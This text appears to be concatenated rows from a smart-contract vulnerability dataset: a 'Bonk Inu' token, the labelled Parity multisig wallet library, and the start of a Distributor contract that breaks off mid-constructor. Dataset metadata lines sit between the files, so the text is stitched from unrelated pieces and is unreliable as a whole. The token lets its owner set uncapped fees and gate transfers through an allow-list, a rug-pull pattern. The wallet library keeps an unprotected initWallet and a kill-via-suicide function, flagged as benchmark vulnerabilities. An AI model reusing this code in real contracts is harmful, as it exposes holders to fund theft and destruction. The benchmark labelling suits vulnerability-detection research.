function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BonkInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Bonk Inu';
string private constant _symbol = 'BONK';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 100000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x1b706E4d0085cf2a423Fe02015D1A962A82b4Ed8, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 309,228 | 13,981 |
cdff90e7b7ff7a2b4423fe8572cd5620f0f2466292ed0aba7848062c998991d7
| 14,751 |
.sol
|
Solidity
| false |
640407482
|
bit-smartcontract-analysis/smartcontract-benchmark
|
58ef12b47f600040e786b655ca1a4b44b7b6cfb9
|
small_dataset/dataset/unsafe_suicide/parity_wallet_bug_2.sol
| 3,621 | 13,051 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
// <yes> <report> ACCESS_CONTROL
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
// <yes> <report> suicide
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
| 258,325 | 13,982 |
ac845871d7d9f2c066a96a3a873364428d065f04a50f7880502815da4674868a
| 16,045 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8b/8B412D4fAF9281E1524f4f8af3Af48F21d82c26c_Distributor.sol
| 3,405 | 13,855 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
